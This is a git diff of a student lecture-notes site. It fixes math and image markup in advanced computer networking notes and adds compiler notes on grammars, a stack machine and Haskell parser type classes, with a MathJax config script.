diff --git a/.gitignore b/.gitignore
index da69810..d11abc1 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,3 +1,4 @@
site/
venv
.venv
+.idea
diff --git a/docs/books/designing_data_intensive_applications/media/.!17304!ddia_0204.gif b/docs/books/designing_data_intensive_applications/media/.!17304!ddia_0204.gif
new file mode 100644
index 0000000..e69de29
diff --git a/docs/books/designing_data_intensive_applications/part1/chapter2.md b/docs/books/designing_data_intensive_applications/part1/chapter2.md
index fe06435..5c42986 100644
--- a/docs/books/designing_data_intensive_applications/part1/chapter2.md
+++ b/docs/books/designing_data_intensive_applications/part1/chapter2.md
@@ -230,6 +230,7 @@ function getSharks() {
}
```
In relational algebra, you would instead write:
+
$$
sharks = \sigma_{family =''Sharks''} (animals)
$$
diff --git a/docs/javascripts/mathjax.js b/docs/javascripts/mathjax.js
new file mode 100644
index 0000000..93d7097
--- /dev/null
+++ b/docs/javascripts/mathjax.js
@@ -0,0 +1,27 @@
+window.MathJax = {
+ tex: {
+ inlineMath: [["\\(", "\\)"]],
+ displayMath: [["\\[", "\\]"]],
+ processEscapes: true,
+ processEnvironments: true
+ },
+ options: {
+ ignoreHtmlClass: ".*|",
+ processHtmlClass: "arithmatex"
+ },
+ startup: {
+ typeset: false,
+ ready() {
+ MathJax.startup.defaultReady();
+ // Subscribe only after MathJax is ready, including on instant navigation.
+ MathJax.startup.promise.then(() => {
+ document$.subscribe(() => {
+ MathJax.startup.output.clearCache();
+ MathJax.typesetClear();
+ MathJax.texReset();
+ MathJax.typesetPromise();
+ });
+ });
+ }
+ }
+};
diff --git a/docs/lectures/acn/01_intro.md b/docs/lectures/acn/01_intro.md
index 3776395..f03ed81 100644
--- a/docs/lectures/acn/01_intro.md
+++ b/docs/lectures/acn/01_intro.md
@@ -26,7 +26,7 @@ They have two parts: physical part and a social part
Social structures are vital for these networks - think covid tracking networks
-
+
Clouds have multiple layers
@@ -57,11 +57,11 @@ This can be used to exchange warning and beacon messages via V2V (vehicle to veh
### Fully autonomous Vehicles
-
+
Vehicles can connect to the cloud and share & request information to help other vehicles.
-
+
An example of transient clouds - in this case vehicular clouds.
diff --git a/docs/lectures/acn/02_MANET_and_DTN.md b/docs/lectures/acn/02_MANET_and_DTN.md
index 5527929..61eb8e9 100644
--- a/docs/lectures/acn/02_MANET_and_DTN.md
+++ b/docs/lectures/acn/02_MANET_and_DTN.md
@@ -15,7 +15,7 @@ One of the core features of a MANET node is the ability to autonomously connect
* Typically routing is split into **route discovery** and **actual data transmission**.
* Nodes have to self organise in order to route.
-
+
(green boxes is route chosen)
@@ -43,7 +43,7 @@ The source has a limited range of nodes it can detect, it cannot send it direct
Table showing all different protocols of MANETs
-
+
### Delay/Disconnection Tolerance
diff --git a/docs/lectures/acn/03_VANET_and_DTN.md b/docs/lectures/acn/03_VANET_and_DTN.md
index 5eb6d67..df207c3 100644
--- a/docs/lectures/acn/03_VANET_and_DTN.md
+++ b/docs/lectures/acn/03_VANET_and_DTN.md
@@ -77,7 +77,7 @@ Communication is made possible in the network when intermediate nodes become **c
* They allow mobile nodes that pass by to collect and leave data on them.
* They contribute to increasing the frequency of node contacts and improve **delivery ratio** and **delivery delay**.
-
+
## Categories of VANETs
diff --git a/docs/lectures/acn/05_DTN_advanced_protocols.md b/docs/lectures/acn/05_DTN_advanced_protocols.md
index 0a07018..9df21cf 100644
--- a/docs/lectures/acn/05_DTN_advanced_protocols.md
+++ b/docs/lectures/acn/05_DTN_advanced_protocols.md
@@ -10,7 +10,7 @@
* **The focus phase allows** each node to forward a copy of its messages to other potential nodes until the messages gets to its destination.
* The protocol uses a single-copy utility based routing scheme to forward a copy of the message further.
* Forwarding decisions are made based on **timers** which record the times nodes come in communication range of each other.
-* Node $$A$$ forwards message with destination $$D$$ to node $$B$$ , **if and only if** $$B$$ has a higher potential of delivering the message to $$D$$.
+* Node $A$ forwards message with destination $D$ to node $B$ , **if and only if** $B$ has a higher potential of delivering the message to $D$.
#### SimBet
diff --git a/docs/lectures/acn/06_DTN_congestion_control.md b/docs/lectures/acn/06_DTN_congestion_control.md
index a8e6715..92c07e7 100644
--- a/docs/lectures/acn/06_DTN_congestion_control.md
+++ b/docs/lectures/acn/06_DTN_congestion_control.md
@@ -20,7 +20,7 @@ When deciding on the best carrier and the optimal number of messages, CAFREP dyn
2. Predictive **node congestion** (node storage and in-network delays)
3. Predictive **ego network congestion**
-
+
Each layer you go up, the more information is exchanged between the nodes.
@@ -34,7 +34,7 @@ $$
Ret(X) = B_c(X) - \sum^N_{i=1} \space M^i_{size}(X)
$$
-For a node $$X$$, it has buffer of size $$B_c(X)$$. When a message of size $$M^i_{size}$$ is sent to node $$X$$, it's buffer size is the total buffer minus the memory taken by the sum of all messages in the buffer.
+For a node $X$, it has buffer of size $B_c(X)$. When a message of size $M^i_{size}$ is sent to node $X$, it's buffer size is the total buffer minus the memory taken by the sum of all messages in the buffer.
###### Node Receptiveness
@@ -66,7 +66,7 @@ $$
EN_{Ret}(X) = \frac{1}{N}\sum^N_{i=1}Ret(C_i(X))
$$
-Gets the average of the retentiveness of node $$X$$ and it's neighbours $$c_i(X)$$
+Gets the average of the retentiveness of node $X$ and it's neighbours $c_i(X)$
###### Ego Network Receptiveness
@@ -88,9 +88,11 @@ $$
#### Contents of CAFREP Node

+
$$
Replication\space rate = M \times \frac{TotalUtil(Y)}{TotalUtil(X) + TotalUtil(Y)}
$$
+
Total utility, changes constantly. The replication limit grows to take advantage of all available resources, and backs off when congestion increases.
Social utility prevents replication at a high rate on free nodes that are not on the path to the destination.
diff --git a/docs/lectures/acn/07_information_centric_networks.md b/docs/lectures/acn/07_information_centric_networks.md
index d77f57f..7bce0e9 100644
--- a/docs/lectures/acn/07_information_centric_networks.md
+++ b/docs/lectures/acn/07_information_centric_networks.md
@@ -13,7 +13,7 @@
* Application and content providers are independent of each other
* CDNs focus on web content distributions for major players
-
+
**Important requirements for ICNs** (Information Centric Networks)
@@ -79,7 +79,7 @@ Apart from routing protocols that use direct identifiers of nodes, networking ca
##### Using Names in CCNs (Content Centric Networks)
-- The hierarchical structure is used to do *longest match look-ups* which guarantees $$log(n)$$ state scaling for globally accessible data.
+- The hierarchical structure is used to do *longest match look-ups* which guarantees $log(n)$ state scaling for globally accessible data.
- Although CCN names are longer than IP identifiers, their **explicit structure** allows look-ups as efficient as IP's.
### ICN Forwarding
diff --git a/docs/lectures/acn/08_content_centric_networks.md b/docs/lectures/acn/08_content_centric_networks.md
index 5822879..092ef0e 100644
--- a/docs/lectures/acn/08_content_centric_networks.md
+++ b/docs/lectures/acn/08_content_centric_networks.md
@@ -7,7 +7,7 @@ A Brief History of Networking
- Wires are the dominant cost.
- A *call* is not the conversation, its the **PATH** between two end-office line cards.
- A *phone number* is not the name/address of the caller, its a **program** for the end-office switch fabric to build a path to the destination line card.
- -
+ -
- Path building is **non-local** and **encourages centralisation** and **monopoly**.
- Calls fail is any element in the path fails so reliability goes down exponentially as the system scales up.
- Data cannot flow until the path is set up so efficiency decreases with setup time.
@@ -49,7 +49,7 @@ CCN can run over and be run over anything e.g. IP.
#### CCN Packets
-
+
**Interest** - similar to HTTP `GET`
@@ -59,7 +59,7 @@ CCN can run over and be run over anything e.g. IP.
Data packets are authenticated with digital signatures.
-
+
#### CCN Forwarding
@@ -91,6 +91,6 @@ In the current Internet, Quality of Service (QoS) Problems are highly localised
Unlike IP, CCN is **local**, don't have queues and receivers have complete control
-
+
Tree serves as transport state
diff --git a/docs/lectures/acn/09_DTN_security.md b/docs/lectures/acn/09_DTN_security.md
index cef5da0..ae1954f 100644
--- a/docs/lectures/acn/09_DTN_security.md
+++ b/docs/lectures/acn/09_DTN_security.md
@@ -4,7 +4,7 @@
##### Interplanetary communication
-
+
> **Characteristics**
>
@@ -52,7 +52,7 @@
>- High propagation delay
>- Asymmetric data rate
>
->
+>
>
>**Security**
>
@@ -127,7 +127,7 @@ Based on the *bundle* protocol
* Access Control (only legit users with right permissions)
* Limited protection from DoS attacks
-
+
- Payload Security Header is computed once at the source bundle agent, carried unchanged, and checked at the destination bundle agent (and possibly also security boundary bundle agents)
diff --git a/docs/lectures/acn/11_connecting.md b/docs/lectures/acn/11_connecting.md
index a42eec5..bc77254 100644
--- a/docs/lectures/acn/11_connecting.md
+++ b/docs/lectures/acn/11_connecting.md
@@ -102,7 +102,7 @@ Precedence
- 95% allocated already (440,000 netblocks)
-**IPv6** supports 128 bit address
+**IPv6** supports 128-bit address
- Loads of addresses :white_check_mark:
- Routing protocols need to ported :negative_squared_cross_mark:
@@ -132,7 +132,6 @@ Because IPv6 did not magically solve address shortage problem and not all router
###### Full Cone
-
```
ea:ep - NAT address : NAT port
```
@@ -141,17 +140,12 @@ When client receives packet from server 1 `da:dp`, the NAT translates the NAT ad
###### Address Restricted Cone NAT
-
In this case server 2 is not trusted and therefore any request will be dropped.
###### Port Restricted Cone NAT
-
-
If the router receives a packet from a bad IP or bad port, it will be dropped.
###### Symmetric NAT
-
-
Here the internal address is obfuscated from the external servers, same client can use different ports for different communications.
diff --git a/docs/lectures/acn/12_naming.md b/docs/lectures/acn/12_naming.md
index adc8935..df5bfa8 100644
--- a/docs/lectures/acn/12_naming.md
+++ b/docs/lectures/acn/12_naming.md
@@ -41,7 +41,7 @@ DNS is a consistent namespace
- Extract information from tree upon client requests
- `gethostbyname()`
-
+
###### Root
@@ -121,7 +121,7 @@ What happens when the resolver queries a server that doesn't know the answer? tw
1. **Recursive** (optional)
- Server generates a new query to the next server
-
+
#### Load Balancing
diff --git a/docs/lectures/acn/13_reliability.md b/docs/lectures/acn/13_reliability.md
index d57c348..3f04efb 100644
--- a/docs/lectures/acn/13_reliability.md
+++ b/docs/lectures/acn/13_reliability.md
@@ -14,7 +14,7 @@ Simplest possible paradigm
- Wait for `ack(x)`
- Transmit `seq(x+1)`
-
+
This has really poor performance in high latency and uses high bandwidth (half the bandwidth is overhead (acknowledgements))
@@ -88,12 +88,12 @@ RTT - round trip times
- When the first `RTT` measurement is taken the sender sets the smoothed `RTT` (`SRTT`), `RTT` variance (`RTTVAR`) and `TIMEOUT` in the following way
- `SRTT = RTT`
- `RTTVAR = RTT/2`
- - `TIMEOUT = `$\Mu\cdot$`SRTT + 4*RTTVAR`
- - Where $\Mu$ is a constant, which in this implementation is 1.08 (obtained experimentally)
+ - `TIMEOUT = `$\mu\cdot$`SRTT + 4*RTTVAR`
+ - Where $\mu$ is a constant, which in this implementation is 1.08 (obtained experimentally)
- When subsequent `RTT` measurements are made the sender sets the `RTTVAR`, `SRTT`, TIMEOUT
- `RTTVAR`$= (1 - \frac{1}{4}) \times$`RTTVAR`$+ \frac14 \times |$`SRTT`$-$`RTT`$|$
- `SRTT`$= (-\frac18)\times$`SRTT`$+\frac18\times$`RTT`
- - `TIMEOUT`$= \Mu\times$`SRTT`$+ 4\times$`RTTVAR`
+ - `TIMEOUT`$= \mu\times$`SRTT`$+ 4\times$`RTTVAR`
###### Packet loss rate calculation
diff --git a/docs/lectures/compilers/01_structures.md b/docs/lectures/compilers/01_structures.md
new file mode 100644
index 0000000..fb106ad
--- /dev/null
+++ b/docs/lectures/compilers/01_structures.md
@@ -0,0 +1,30 @@
+# Compilers - COMP 3012
+
+A compiler is a tool that maps one language into another language. It takes a program written in a source programming language and maps it to program written in a target programming language. A compiler is written in an **implementation language**.
+
+
+
+Notation of semantics of program $A$: $[\![A]\!]$
+
+An **interpreter** is a program that takes a source program and executes the program.
+
+
+
+> NOTE: Java uses both. A java source program is compiled into byte code (by a compiler) which is then executed by an interpreter (called java virtual machine - JVM). JVM will also compile fragments of code so that if there is a call back, it can execute the compiled code. This is called compilation on the fly.
+
+Compilers will often use an **intermediate representation (IR)** to bridge the gap between the source language and the executable language. Converting source language to IR is called **front end**, where as converting IR to executable code is called **back end**.
+
+* The front end focuses on understand the source-language program.
+* The back end focuses on mapping programs to the target machine
+
+
+
+* The front end, intermediate representation and the back end are all part of the compiler.
+
+IR is stored as an Abstract Syntax Tree **AST**.
+
+The syntactic details needed for parsing the source program are represented in the structure of the tree.
+
+The **IR** could be broken down into many sub-steps i.e. a IR1 could be created which is then ran through an optimiser to create IR2 which is fed into the back end instead of IR1. This is called a *three-phase compiler*.
+
+
\ No newline at end of file
diff --git a/docs/lectures/compilers/02_arithmetic.md b/docs/lectures/compilers/02_arithmetic.md
new file mode 100644
index 0000000..8ce67ae
--- /dev/null
+++ b/docs/lectures/compilers/02_arithmetic.md
@@ -0,0 +1,112 @@
+# Arithmetic Grammar
+
+## Syntax of Expressions
+
+An expression can be defined as:
+
+```haskell
+exp ::= int | exp + exp | exp - exp | exp * exp
+ | exp / exp | - exp | ( exp )
+```
+
+$$
+7 + (10/3) \times (-2)
+$$
+
+Applying this to the above expression:
+
+```haskell
+exp -> exp + exp
+-> int + exp
+-> 7 + exp
+-> 7 + exp * exp
+-> 7 + (exp) * exp
+-> 7 + (exp / exp) * exp
+-> 7 + (int / int) * exp
+-> 7 + (10 / 3) * (-exp)
+-> 7 + (10 / 3) * (-int)
+-> 7 + (10 / 3) * (-2)
+```
+
+This grammar is **ambiguous**, this means one input expression could be generated in several different ways.
+
+$$
+5 - 4 \times 7
+$$
+
+```haskell
+exp -> exp - exp
+-> int - exp
+-> 5 - exp
+-> 5 - exp * exp
+...
+-> 5 - 4 * 7
+```
+
+However there is another way to derive this expression starting with `*`
+
+```haskell
+exp -> exp * exp
+-> exp - exp * exp
+...
+-> 5 - 4 * 7
+```
+
+These give us two different ASTs, which gives us two different numeric answers. We must use more terminal symbols to follow BIDMAS.
+
+
+
+```haskell
+exp ::= mexp | mexp + exp | mexp - exp
+mexp ::= term | term * mexp | term / mexp --multiplicative expression
+term ::= int | - term | ( exp )
+
+exp -> mexp - exp
+-> term - exp
+-> int - exp
+-> 5 - exp
+-> 5 - mexp
+-> 5 - term * mexp -> 5 - int * mexp -> 5 - 4 * mexp
+-> 5 - 4 * term -> 5 - 4 * int -> 5 - 4 * 7
+```
+
+This grammar is unique (non-ambiguous)
+
+## Semantics of Expressions
+
+On the left hand side the $+$ is just a symbol, however on the right hand side it is an arithmetic sum operation.
+
+$[\![ exp + exp ]\!] = [\![exp ]\!] + [\![exp ]\!]$ | $[\![ exp - exp ]\!] = [\![exp ]\!] - [\![exp ]\!]$ ... same for all binary operations
+
+$[\![ -exp]\!] = - [\![exp ]\!]$
+
+$[\![ x]\!] = x$
+
+$[\![(exp) ]\!] = [\![exp ]\!]$ - This is because parentheses change order of operations, not the operation itself.
+
+Addition can be rewritten:
+
+$$
+[\![exp_1 + exp_2 ]\!] = +([\![exp_1 ]\!], [\![exp_2 ]\!])
+$$
+
+```haskell
+int ::= digit | int digit
+digit ::= 0 | 1 | 2 | 3 ... | 9
+```
+
+$[\![d_0 ]\!] = value(d_0)$
+
+$[\![d_s d_0]\!] = [\![d_s ]\!]\times10 + value(d_0)$
+
+
+
+## Scanners and Parsers
+
+
+
+Scanners take the source language as input and outputs a stream of tokens.
+
+A **token** is a chunk of input; "words" of the language eg. integers, operator symbols, identifiers (function & variable names etc), parenthesis.
+
+The **grammar of tokens is always regular**, this means it can be generated and recognised by a DFA (deterministic finite automata).
diff --git a/docs/lectures/compilers/03_TAM.md b/docs/lectures/compilers/03_TAM.md
new file mode 100644
index 0000000..5688c95
--- /dev/null
+++ b/docs/lectures/compilers/03_TAM.md
@@ -0,0 +1,129 @@
+# Triangle Abstract Machine
+
+**TAM** instruction set
+
+```assembly
+LOADL (int)
+NEG
+ADD
+SUB
+MUL
+DIV
+```
+
+TAM works on a stack of integers.
+
+##### Executing a TAM program
+
+```assembly
+LOADL 7
+ADD --adds top two numbers on the stack
+LOADL 2
+SUB -- note its 15-2
+LOADL 4
+DIV --integer division
+```
+
+The stack during this program:
+
+$$
+\begin{bmatrix}
+{8} \\
+{5}
+\end{bmatrix}
+\implies
+\begin{bmatrix}
+{7} \\
+{8} \\
+{5}
+\end{bmatrix}
+\implies
+\begin{bmatrix}
+{15} \\
+{5}
+\end{bmatrix}
+\implies
+\begin{bmatrix}
+{2} \\
+{15} \\
+{5}
+\end{bmatrix}
+\implies
+\begin{bmatrix}
+{13} \\
+{5}
+\end{bmatrix}
+\implies
+\begin{bmatrix}
+{4} \\
+{13} \\
+{5}
+\end{bmatrix}
+\implies
+\begin{bmatrix}
+{3} \\
+{5}
+\end{bmatrix}
+$$
+
+## Compiler Complete Example
+
+Program in **Arith**
+
+```c
+5 * ((8 + 7) - 2) / 4
+```
+
+**A**bstract **S**yntax **T**ree
+
+
+
+**TAM** program
+
+```assembly
+LOADL 5
+LOADL 8
+LOADL 7
+ADD
+LOADL 2
+SUB
+LOADL 4
+DIV
+MUL
+```
+
+## Implementing TAM in Haskell
+
+```haskell
+module TAM where
+
+data TamInstruction = LOADL Int
+ | ADD | SUB
+ | MUL | DIV
+ | NEG
+ deriving(Eq, Show)
+type Stack = [Int]
+
+execute :: [TamInstruction] -> Stack -> Stack
+execute [] s = s --if stack empty, then return the stack
+execute (LOADL n : tp) s = execute tp (n : s) --push n to top of stack
+execute (ADD : tp) (a : b : s) = execute tp ((a+b):s) --push a+b
+...
+execute (DIV : tp) (a : b : s) = execute tp ((a`div`b):s)
+```
+
+Quicker way to write the execute function using `absOpToConcrOp`
+
+```haskell
+convOp :: TamInstruction -> Int -> Int -> Int
+convOp ADD = (+)
+convOp SUB = (-)
+convOp MUL = (*)
+convOp DIV = (`div`)
+
+execute :: [TamInstruction] -> Stack -> Stack
+execute [] s = s
+execute (LOADL n : tp) s = execute tp (n : s)
+execute (NEG : tp) (a : s) = execute tp (-a : s)
+execute (op : tp) (a : b : s) = execute tp ((convOp op a b) : s)
+```
diff --git a/docs/lectures/compilers/04_functional_parsers.md b/docs/lectures/compilers/04_functional_parsers.md
new file mode 100644
index 0000000..1efbb61
--- /dev/null
+++ b/docs/lectures/compilers/04_functional_parsers.md
@@ -0,0 +1,41 @@
+# Functional Parsers
+
+In our parser - there's a lot of repeated code and a lot of cases.
+
+
+
+Types of scanner and parser are very similar
+
+```haskell
+scanToken :: String -> Maybe (Token, String)
+parseTerm :: [Token] -> Maybe (AST, [Token])
+parseExp :: [Token] -> Maybe (AST, [Token])
+
+general :: [c] -> Maybe (a, [c])
+lessGeneral :: String -> Maybe (a, String)
+
+--remember :t string :: [char]
+-- [c] list of characters or tokens
+
+Parser a :: String -> [(a, String)]
+-- no maybe needed as failure is now returning an empty list
+--The parser of type a, we can now define generic functions that operate on a given type => less repeated code
+--This is an instance of a typeclass (monad yikes)
+```
+
+Do notation
+
+```haskell
+Parser a = String -> [(a, String)]
+
+symbol :: String -> Parser ()
+-- no need to define result, as all it does it succeed or fail
+
+exp :: Parser AST
+parseParenthesis :: Parser AST
+parseParenthesis = do symbol '('
+ t <- exp
+ symbol ')'
+ return t
+```
+
diff --git a/docs/lectures/compilers/05_functors.md b/docs/lectures/compilers/05_functors.md
new file mode 100644
index 0000000..fdcd2d5
--- /dev/null
+++ b/docs/lectures/compilers/05_functors.md
@@ -0,0 +1,101 @@
+# Functor
+
+Parsing an expression in parenthesis:
+
+```haskell
+parseP :: Parser AST
+parseP = do symbol '('
+ t <- exp
+ symbol ')'
+ return t
+```
+
+Before we write this sort of code, we need to understand `type classes` (especially `monads`)
+
+## Types vs Typeclasses
+
+| Types | Type classes |
+| ------ | ------------ |
+| Bool | Eq |
+| Char | Show |
+| AST | Num |
+| String | Functor |
+| | Monad |
+
+**Eq**: typeclass equality; A type can only be typeclass equality if two like types can be compared
+
+A type can be a *member* (instance) of a type class, meaning that if has the properties/functions that the class requires
+
+e.g. `Bool` is an instance of `Eq` and `Show`
+
+###### Is there a type that is **not** in `Eq`?
+
+```haskell
+(\c -> c :: Int) == (\c -> c :: Int)
+```
+
+**ERROR**: No instance for `Eq(Int -> Int)`
+
+Why?
+
+```haskell
+f :: Int -> Int
+g :: Int -> Int
+```
+
+Then `f == g` should be `fn == gn` for every n, the computer cannot do this (halting problem).
+
+## Type Constructors
+
+A type constructor takes a type to construct a new type.
+
+`Maybe` - not a type but a type constructor
+
+`Maybe String` - a type
+
+```haskell
+newtype Parser a = P (String -> [a, String])
+```
+
+**Parser** is a type constructor
+
+**Parser AST** is a type
+
+Functor is a typeclass of which `parser` is an instance
+
+##### Functor
+
+```haskell
+class Functor f where
+fmap :: (a -> b) -> fa -> fb
+
+instance Functor Maybe where
+fmap g (Just x) = Just (g x)
+fmap g Nothing = Nothing -- fmap id = id
+
+-- lists
+instance Functor [] where
+fmap g [] = []
+fmap g (t:ts) = (g t) : fmap g ts
+
+-- goal: write parser as a functor
+newtype Parser a = P ( String -> [a, String] )
+-- Need: fmap :: (a->b) -> Parser a -> Parser b
+
+instance Functor Parser where
+fmap g pa = -- parser pa
+ P (\str -> map (\(x,s) -> (gx,s))
+ parse pa str)
+```
+
+##### Rules of Functors
+
+```haskell
+fmap id = id -- identity
+fmap (f . g) = fmap f . fmap g
+```
+
+Haskell doesn't enforce these rules however it is convention.
+
+
+
diff --git a/docs/lectures/compilers/06_applicative_functors.md b/docs/lectures/compilers/06_applicative_functors.md
new file mode 100644
index 0000000..1a6c644
--- /dev/null
+++ b/docs/lectures/compilers/06_applicative_functors.md
@@ -0,0 +1,95 @@
+# Applicative Functors
+
+Types: `Bool`, `Int`, `Char`, `[Char] = String`
+
+Type Constructors: `Maybe`, `[]`
+
+(type) classes: `Eq`, `Show`, `Functor`
+
+```haskell
+newtype Parser a = P ( String -> [a, String])
+parse :: Parser a -> String -> [(a, String)]
+parse (P p) s = p s -- s's can be cancelled from both sides
+
+instance Functor Parser where
+-- fmap :: (a -> b) -> Parser a -> Parser b
+fmap g pa = P (\s -> [(g x, s1) |
+ (x,s1) <- parse pa s])
+```
+
+Applicative - motivation
+
+```haskell
+Functor f
+fmap0 :: a -> f a
+fmap1 :: (a -> b) -> f a -> f b
+-- cannot do this with functors ie cannot deal with multiple parameters
+fmap2 :: (a -> b -> c) -> f a -> f b -> f c
+fmap3 :: (a -> ... n) -> f a -> ... f n
+```
+
+`Functor f` can do `fmap1` however cannot do `fmap0` or `fmap2` etc.
+
+**Remember**: `a -> b -> c == a -> (b -> c)`
+
+For `fmap2` we can use `fmap2 :: (a -> (b -> c)) -> f a -> f (a -> b)`
+
+would need: `f(b -> c) -> f b -> f c`
+
+```haskell
+class Functor f => Applicative f where
+pure :: a -> f a
+(<*>) :: f (a -> b) -> f a -> f b
+ -- <*> infix operator
+ -- NOTE its f (a -> b) and not (a -> b) in fmap1
+ -- fmap1 not part of the applicative class
+```
+
+Writing `fmap3` in an applicative functor
+
+```haskell
+fmap3 :: g x y z = (pure g) <*> x <*> y <*> z
+```
+
+##### Example Maybe
+
+```haskell
+instance Applicative Maybe where
+-- pure :: a -> Maybe a
+pure x = Just x
+-- (<*>) :: Maybe (a -> b) -> Maybe a -> Maybe b
+Just g <*> (Just x) = Just (g x)
+_ <*> _ = Nothing
+```
+
+##### Example Lists
+
+```haskell
+instance Applicative [] where
+-- pure :: a -> [a]
+pure x = [x]
+-- (<*>) :: [a -> b] -> [a] -> [b]
+gs <*> xs = [g x | g <- gs, x <- xs]
+```
+
+##### Example Parser
+
+```haskell
+instance Applicative Parser where
+-- pure :: a -> Parser a
+-- newtype Parser a = P ( String -> [(a, String)] )
+pure x = P (\s -> [(x,s)])
+-- <*> :: Parser (a -> b) -> Parser a -> Parser b
+pf <*> pa = P (\s -> [ (f x, s2) |
+ (f, s1) <- parse pf s,
+ (x, s2) <- parse pa s1)])
+```
+
+All parse does is apply a parser
+
+`parse :: Parser a -> String -> [(a, String)]`
+
+Where `P` is the constructor
+
+`parse ( P p ) = p`
+
diff --git a/docs/lectures/compilers/07_coursework_notes.md b/docs/lectures/compilers/07_coursework_notes.md
new file mode 100644
index 0000000..38a68f3
--- /dev/null
+++ b/docs/lectures/compilers/07_coursework_notes.md
@@ -0,0 +1,466 @@
+### Functor Class of Parsers
+
+```haskell
+newtype Parser a = P ( String -> [(a, String)] )
+
+parse :: Parser a -> String -> [(a, String)]
+parse (P f) src = f src
+
+item :: Parser Char
+item = P (\src -> case src of
+ [] -> []
+ (c:src') -> [(c,src')] )
+
+symbol :: String -> Parser ()
+
+integer :: Parser Int
+
+binary :: Parser Int
+
+intORbin :: Parser Int
+
+expr :: Parser AST
+```
+
+
+
+```
+λ> parse (symbol "something") "nothing"
+[]
+
+λ> parse (symbol "<=") "<= something nothing"
+[((), "something nothing")]
+NOTE: does nothing because all we have implemented for symbol is ()
+
+λ> integer "123 blah blah"
+[(123, "blah blah")]
+
+λ> parse binary "101 blah"
+[(5, "blah")]
+
+λ> parse intORbin "101 blah"
+[(101, "blah"), (5, "blah")]
+
+λ> parse expr "1+2*3"
+[(BinOp Addition (LitInteger 1) BinOp Multiplication (LitInteger 2) (LitInteger 3)), "")]
+NOTE: expr defined in ArtihExpr
+```
+
+Defining the functor parser
+
+```haskell
+instance Functor Parser where
+-- must not give type of fmap as it is already given in functor class
+-- good practice to comment type
+-- fmap :: (a -> b) -> Parser a -> Parser b
+--first assume returns one value
+-- doesnt fail, doesn't produce more than one result
+ fmap g pa = P (\src -> let [(x,src1)] = parse pa src
+ in [(g x, src1)] )
+```
+
+
+
+```
+λ> parse (fmap (+3) integer) "42 blah blah"
+[(45, blah blah)]
+
+λ> parse (fmap evaluate expr) "1+2*3"
+[(7,"")]
+
+λ> parse (fmap (+3) integer) "42 blah blah"
+*** Exception Non-exhaustive patterns
+
+λ> parse (fmap (+3) intORbin) "101 blah"
+*** Exception Non-exhaustive patterns
+```
+
+fixing `fmap`
+
+```haskell
+fmap g pa = P (\src -> [ (g x, src1) | (x,src1) <- parse pa src])
+-- using list comprehension
+```
+
+```
+λ> parse (fmap (+3) intORbin) "101 blah"
+[(104, "blah"), (8, "blah")]
+```
+
+### Applicative Class of Parsers
+
+```haskell
+instance Applicative Parser where
+ -- pure :: a -> Parser a
+ -- commenting type for good practice
+ pure x = P (\src -> [(x, src)])
+
+ -- (<*>) :: Parser (a -> b) -> Parser a -> Parser b
+
+
+simpleFun :: Parser (Int -> Int)
+-- parser the function "double" or "square"
+```
+
+```
+λ> parse (fmap (\f -> f 3) simpleFun) "double blah"
+[(6, "blah")]
+
+a parser that returns a function as a result
+λ> parse simpleFun "double blah blah"
+parse simpleFun "double blah blah" :: [(Int -> Int, String)]
+-- the function
+```
+
+```haskell
+instance Applicative Parser where
+ -- pure :: a -> Parser a
+ -- commenting type for good practice
+ pure x = P (\src -> [(x, src)])
+
+ -- (<*>) :: Parser (a -> b) -> Parser a -> Parser b
+ pf <*> pa = P (\src -> let [(f,src1)] = parse pf src
+ [(x,src2)] = parse pa src
+ in [(f x, src2)] )
+-- this works if the two parsers both give one, different result
+```
+
+```
+λ> parse (simpleFun <*> integer) "double 7"
+[(14, "")]
+λ> parse (simpleFun <*> integer) "square 7"
+[(49, "")]
+λ> parse (simpleFun <*> integer) "cube 7"
+*** Exception non-exhaustive pattern
+
+λ> parse (simpleFun <*> intORbin) "square 101"
+*** Exception non-exhaustive pattern
+-- fails bc intORbin gives two results
+```
+
+Using list comprehension
+
+```haskell
+pf <*> pa = P (\src -> [ (f x, src2) | (f,src1) <- parse pf src,
+ (x,src2) <- parse pa src1 ] )
+```
+
+```
+λ> parse (simpleFun <*> integer) "cube 7"
+[]
+λ> parse (simpleFun <*> intORbin) "square 101"
+[(10201, ""), (25, "")]
+```
+
+
+
+### Monad Class of Parser
+
+ Monad class will facilitate the use of `do` notation.
+
+```haskell
+instance Monad Parser where
+ -- return :: a -> Parser a
+ -- we dont have to define return as its automatically defined as
+ -- return = pure
+ --only method we need to define for the monad class is bind >>=
+
+ -- (>>=) :: Parser a -> (a -> Parser b) -> Parser b
+ pa >>= fpb = P (\src -> let [(x, src1)] = parse pa src
+ [(y, src2)] = parse (fpb x) src1
+ in [(y,src2)] )
+
+checkNum :: Int -> Parser Bool
+checkNum n = fmap (==n) integer
+```
+
+```
+λ> parse (checkNum 7) " 7 blah blah"
+[(True, "blah blah")]
+
+λ> parse (checkNum 6) " 7 blah blah"
+[(False, "blah blah")]
+
+λ> parse (checkNum 7) " no blah blah"
+[]
+λ> parse (binary >>= checkNum) "101 5"
+[(True, "")]
+λ> parse (binary >>= checkNum) "101 6"
+[(False, "")]
+λ> parse (binary >>= checkNum) "no 101 6"
+*** Exception non-exhaustive pattern
+
+λ> parse (intORbin >>= checkNum) "101 6"
+*** Exception non-exhaustive pattern
+--cant cope with multiple values
+```
+
+Using list comprehension
+
+```haskell
+pa >>= fpb = P (\src -> [ (y,src2) | (x,src1) <- parse pa src,
+ (y,src2) <- parse (fpb x) src1 ] )
+```
+
+```
+λ> parse (binary >>= checkNum) "no 101 6"
+[]
+
+λ> parse (intORbin >>= checkNum) "110 6"
+[(False,""), (True, "")]
+-- false is 110 (base 10) != 6
+-- true is 110 (base 2) == 6
+```
+
+Improving the definition further
+
+As we unpack and repack `(y,src2)`, we can just call it `r` (result)
+
+```haskell
+pa >>= fpb = P (\src -> [ r | (x,src1) <- parse pa src,
+ r <- parse (fpb x) src1 ] )
+```
+
+```
+λ> parse (intORbin >>= checkNum) "113 113"
+[(True,""), (True, "113 ")]
+-- the integer part recognises 113 == 113
+-- second part will look at 113, realise it is not a binary digit and just read 11 which is equal to 3 hence true
+```
+
+What is the do notation and how is it connected to the bind function, we will show this by writing a simple parser
+
+```haskell
+pairSum :: Parser Int
+-- read (parse) an integer, bind it to a function, map it to another parser
+pairSum = integer >>= \n -> integer >>= \m -> return (n+m)
+```
+
+```
+λ> parse pairSum "3 8"
+[(11, "")]
+```
+
+Rewriting `pairSum` with `do`
+
+```haskell
+pairSum :: Parser Int
+-- apply integer and then put it into variable n
+-- apply integer and bind to variable m
